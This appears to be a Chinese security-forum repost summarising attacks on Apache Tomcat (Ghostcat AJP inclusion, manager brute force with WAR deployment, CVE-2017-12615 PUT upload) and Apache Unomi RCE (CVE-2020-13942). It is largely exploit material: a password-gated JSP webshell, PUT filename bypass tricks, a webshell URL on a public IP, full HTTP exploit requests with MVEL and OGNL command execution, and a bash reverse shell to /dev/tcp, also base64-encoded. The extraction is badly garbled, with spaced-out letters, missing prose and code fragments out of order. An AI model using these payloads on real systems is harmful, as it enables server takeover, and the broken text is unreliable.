[194] 2021-03-28_Tomcat常见的漏洞总结

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-16
2021-03-28_Tomcat常见的漏洞总结 T o m c a t x i a o   A d m i n   T e a m   2 0 2 1 - 0 3 - 2 8 T o m c a t C V E - 2 0 2 0 - 1 9 3 8     T o m c a t   A J P w e b a p p : w e b a p p     T o m c a t a j p r e q u e s t . s e t A t t r i b u t e T o m c a t r e q u e s t T o m c a t   a j p w e b J S P     a j p   U R I j s p T o m c a t D e f a u l t S e r v l e t w e b     a j p   U R I j s p T o m c a t J s p S e r v l e t J S P 1 . 使 n m a p 8 0 0 9 T o m c a t A p a c h e   A p a c h e   S o f t w a r e   F o u n d a t i o n J a k a r t a   A p a c h e S u n   S u n   S e r v l e t   J S P   T o m c a t   T o m c a t   5 S e r v l e t   2 . 4   J S P   2 . 0   T o m c a t   J a v a   W e b   T o m c a t   W e b   访 使 J S P   A p a c h e   H T M L 访 T o m c a t A p a c h e   t o m c a t   A p a c h e   A p a c h e   T o m c a t   6 A p a c h e   T o m c a t   7   <   7 . 0 . 1 0 0 A p a c h e   T o m c a t   8   <   8 . 5 . 5 1 A p a c h e   T o m c a t   9   <   9 . 0 . 3 1 A p a c h e   T o m c a t   =   7 . 0 . 1 0 0 A p a c h e   T o m c a t   =   8 . 5 . 5 1 A p a c h e   T o m c a t   =   9 . 0 . 3 1
2 . 使 p o c R O O T w e b . x m l   ( R O O T ) P O C / w e b a p p s e x a m p l e s     1 . A J P t o m c a t / c o n f / s e r v e r . x m l < C o n n e c t o r   p o r t = " 8 0 0 9 " p r o t o c o l = " A J P / 1 . 3 "   r e d i r e c t P o r t = " 8 4 4 3 "   / >     2 . t o m c a t   3 . s e c r e t A J P < C o n n e c t o r   p o r t = " 8 0 0 9 " p r o t o c o l = " A J P / 1 . 3 "   r e d i r e c t P o r t = " 8 4 4 3 " a d d r e s s = " Y O U R _ T O M C A T _ I P _ A D D R E S S "   s e c r e t = " Y O U R _ T O M C A T _ A J P _ S E C R E T " / > T o m c a t T o m c a t 使 b u r p :   h t t p s : / / g i t h u b . c o m / Y D H C U I / C N V D - 2 0 2 0 - 1 0 4 8 7 - T o m c a t - A j p - l f i
        A u t h o r i z a t i o n b a s e 6 4         b a s e 6 4         使 b u r p   I n t r u d e           t o m a t   u s e r n a m e : p a s s w o r d   使 b u r p   c u s t o m   i t e a c t o r   p a y l o a d p a y l o a d 8 p a y l o a d p a y l o a d         :   p a y l o a d         :         p a y l o a d P o s i t i o n T o m c a t P o s i t i o n u s e r n a m e p a y l a o d   :   , p a s s w o r d b a s e 6 4 :
        t o m c a t b a s e 6 4 m e t a s p l o i t t o m c a t 便         使 b a s e 6 4         使 w a r w a r 1 . j s p < %         i f ( " 0 2 3 " . e q u a l s ( r e q u e s t . g e t P a r a m e t e r ( " p w d " ) ) ) {         j a v a . i o . I n p u t S t r e a m   i n   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " i " ) ) . g e t I n p u t S t r e a m ( ) ;
2 . s p   j d k 1 . 8 . 0 _ 7 3 b i n   c m d j a v a 使 w a r 访 1 . j s p C V E - 2 0 1 7 - 1 2 6 1 5 T o m c a t ( P U T )         C V E - 2 0 1 7 - 1 2 6 1 5   A p a c h e   T o m c a t   7 . 0 . 0   -   7 . 0 . 7 9 7 . 0 . 8 1   T o m c a t     W i n d o w s     H T T P   P U T     J S P           A p a c h e   T o m c a t   7 . 0 . 0   -   7 . 0 . 8 1         i n t   a   =   - 1 ;         b y t e [ ]   b   =   n e w   b y t e [ 2 0 4 8 ] ;         o u t . p r i n t ( " < p r e > " ) ;         w h i l e ( ( a = i n . r e a d ( b ) ) ! = - 1 ) {                 o u t . p r i n t l n ( n e w   S t r i n g ( b ) ) ;         }         o u t . p r i n t ( " < / p r e > " ) ; } % > j a r   c v f     + w a r   + b i n j s p
:         T o m c a t H T T P   P U T         T o m c a t     S e r v l e t     c o n f / w e b . x m l     . j s p     . j s p x     J s p S e r v l e t     D e f a u l t S e r v l e t   1 . j s p     J s p S e r v l e t   D e f a u l t S e r v l e t             P U T     r e s o u r c e s . b i n d d i r C o n t e x t     F i l e D i r C o n t e x t   r e b i n d     W i n d o w s       . j s p           T o m c a t H T T P   P U T T o m c a t         r e a d o n l y   P U T           o r g . a p a c h e . c a t a l i n a . s e r v l e t s . D e f a u l t S e r v l e t   1 . 使 b u r p r e p e a t e r G E T O P T I O N S 2 . P U T 使 P U T j s p < i n i t - p a r a m >                   < p a r a m - n a m e > r e a d o n l y < / p a r a m - n a m e >                   < p a r a m - v a l u e > f a l s e < / p a r a m - v a l u e >   < / i n i t - p a r a m >   j s p : < % @   p a g e   l a n g u a g e = " j a v a "   i m p o r t = " j a v a . u t i l . * , j a v a . i o . * "   p a g e E n c o d i n g = " U T F - 8 " % > < % ! p u b l i c   s t a t i c   S t r i n g   e x c u t e C m d ( S t r i n g   c )   { S t r i n g B u i l d e r   l i n e   =   n e w   S t r i n g B u i l d e r ( ) ; t r y   { P r o c e s s   p r o   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c ) ; B u f f e r e d R e a d e r   b u f   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( p r o . g e t I n p u t S t r e a m ( ) ) ) ;
3 . 2 0 1 4 . 访 ( i p + 1 . j s p )   u r l :   h t t p : / / 2 1 9 . 1 5 3 . 4 9 . 2 2 8 : 4 7 1 9 5 / s h e l l . j s p ? c m d = l s % 2 0 / & p w d = 0 2 3 5 . w i n d o w T o m c a t T o m c a t D e f a u l t S e r v l e t j s p   w e b s h e l l 1   s h e l l . j s p % 2 0 2   s h e l l . j s p : : $ D A T A 3   s h e l l . j s p / C V E - 2 0 2 0 - 1 3 9 4 2   A p a c h e   U n o m i   A p a c h e   U n o m i         A p a c h e   U n o m i   / C D P C u s t o m e r   D a t a   P l a t f o r m 线 访 访   G D P R     J a h i a   2 0 1 5     1 0     A p a c h e           A p a c h e   U n o m i   / / 访 A / B   Ø   W e b   C M S   Ø   Ø   Ø           A p a c h e   U n o m i   C D P C u s t o m e r   D a t a   P l a t f o r m 线 访 访   G D P R     J a h i a   2 0 1 5     1 0     U n o m i   A p a c h e   A p a c h e   U n o m i   1 . 5 . 1 M V E L O N G l 使 U n o m i C V E - 2 0 2 0 - 1 1 9 7 5 C V E - 2 0 2 0 - 1 3 9 4 2 C V E - 2 0 2 0 - 1 1 9 7 5         A p a c h e   U n o m i   <   1 . 5 . 2         使 d o c k e r v u l h u b 访   i p : 8 1 8 1         8 1 8 1 9 4 4 3 使   8 1 8 1 S t r i n g   t e m p   =   n u l l ; w h i l e   ( ( t e m p   =   b u f . r e a d L i n e ( ) )   ! =   n u l l )   { l i n e . a p p e n d ( t e m p + " n " ) ; } b u f . c l o s e ( ) ; }   c a t c h   ( E x c e p t i o n   e )   { l i n e . a p p e n d ( e . g e t M e s s a g e ( ) ) ; } r e t u r n   l i n e . t o S t r i n g ( ) ; } % >   < % i f ( " 0 2 3 " . e q u a l s ( r e q u e s t . g e t P a r a m e t e r ( " p w d " ) ) & & ! " " . e q u a l s ( r e q u e s t . g e t P a r a m e t e r ( " c m d " ) ) ) { o u t . p r i n t l n ( " < p r e > " + e x c u t e C m d ( r e q u e s t . g e t P a r a m e t e r ( " c m d " ) ) + " < / p r e > " ) ; } e l s e { o u t . p r i n t l n ( " : - ) " ) ; } % >
1 . 使 b p R e p e a t e r 2 . G E T P O S T H O S T U s e r - A g e n t C o n t e n t - L e n g t h d n s l o g P O S T   / c o n t e x t . j s o n   H T T P / 1 . 1 H o s t :   : 8 1 8 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 9 8   S a f a r i / 5 3 7 . 3 6 C o n t e n t - L e n g t h :   4 9 5 {         " f i l t e r s " :   [                 {                         " i d " :   " b o o m " ,                         " f i l t e r s " :   [                                 {                                         " c o n d i t i o n " :   {                                                   " p a r a m e t e r V a l u e s " :   {                                                         " t e s t " :   " s c r i p t : : R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;   r . e x e c ( " p i n g   b r 9 y b 9 . d n s l o g . c n " ) ; "                                                 } ,                                                 " t y p e " :   " p r o f i l e P r o p e r t y C o n d i t i o n "                                         }                                 }                         ]                 }         ] ,         " s e s s i o n I d " :   " t e s t " }
3 . 使 s h e l l b a s h s h e l l 线   ( h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l ) 4 . s h e l l p o c   ( ) s h e l l b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 6 / 4 4 4 4   0 > & 1 b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j E u N i 8 0 N D Q 0 I D A + J j E = } | { b a s e 6 4 , - d } | { b a s h , - i } P O S T   / c o n t e x t . j s o n   H T T P / 1 . 1 H o s t :   l o c a l h o s t : 8 1 8 1 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 0 . 0 . 3 9 8 7 . 1 3 2   S a f a r i / 5 3 7 . 3 6 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   4 8 3 {         " f i l t e r s " :   [                 {                         " i d " :   " s a m p l e " ,                         " f i l t e r s " :   [                                 {                                         " c o n d i t i o n " :   {                                                   " p a r a m e t e r V a l u e s " :   {                                                         " " :   " s c r i p t : : R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;   r . e x e c ( " b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j E u N i 8 0 N D Q 0 I D A + J j E = } | { b a s e 6 4 , - d } | { b a s h , - i } " ) ; "                                                 } ,                                                 " t y p e " :   " p r o f i l e P r o p e r t y C o n d i t i o n "                                         }                                 }                         ]                 }         ] ,         " s e s s i o n I d " :   " s a m p l e " }
使 使 M V E L 使 使 O G N L R e p e a t e r p o c P O S T   / c o n t e x t . j s o n   H T T P / 1 . 1 H o s t :   l o c a l h o s t : 8 1 8 1 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 0 . 0 . 3 9 8 7 . 1 3 2   S a f a r i / 5 3 7 . 3 6 C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   1 0 6 4 {         " p e r s o n a l i z a t i o n s " : [         {             " i d " : " g e n d e r - t e s t " ,             " s t r a t e g y " : " m a t c h i n g - f i r s t " ,             " s t r a t e g y O p t i o n s " : {                 " f a l l b a c k " : " v a r 2 "             } ,             " c o n t e n t s " : [                 {                     " f i l t e r s " : [                         {                             " c o n d i t i o n " : {                                 " p a r a m e t e r V a l u e s " : {                                     " p r o p e r t y N a m e " : " ( # r u n t i m e c l a s s   =   # t h i s . g e t C l a s s ( ) . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) ) .     ( # g e t r u n t i m e m e t h o d   =   # r u n t i m e c l a s s . g e t D e c l a r e d M e t h o d s ( ) . { ^   # t h i s . n a m e . e q u a l s ( " g e t R u n t i m e " ) } [ 0 ] ) .     ( # r t o b j   =   # g e t r u n t i m e m e t h o d . i n v o k e ( n u l l , n u l l ) ) . ( # e x e c m e t h o d   =   # r u n t i m e c l a s s . g e t D e c l a r e d M e t h o d s ( ) . { ?     # t h i s . n a m e . e q u a l s ( " e x e c " ) } . { ?   # t h i s . g e t P a r a m e t e r s ( )     [ 0 ] . g e t T y p e ( ) . g e t N a m e ( ) . e q u a l s ( " j a v a . l a n g . S t r i n g " ) } . { ?   # t h i s . g e t P a r a m e t e r s ( ) . l e n g t h   <   2 } [ 0 ] ) .     ( # e x e c m e t h o d . i n v o k e ( # r t o b j , " t o u c h   / t m p / o g n l " ) ) " ,                                     " c o m p a r i s o n O p e r a t o r " : " e q u a l s " ,                                     " p r o p e r t y V a l u e " : " m a l e "                                 } ,                                 " t y p e " : " p r o f i l e P r o p e r t y C o n d i t i o n "                             }                         }                     ]                 }             ]         }         ] ,         " s e s s i o n I d " : " s a m p l e " }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则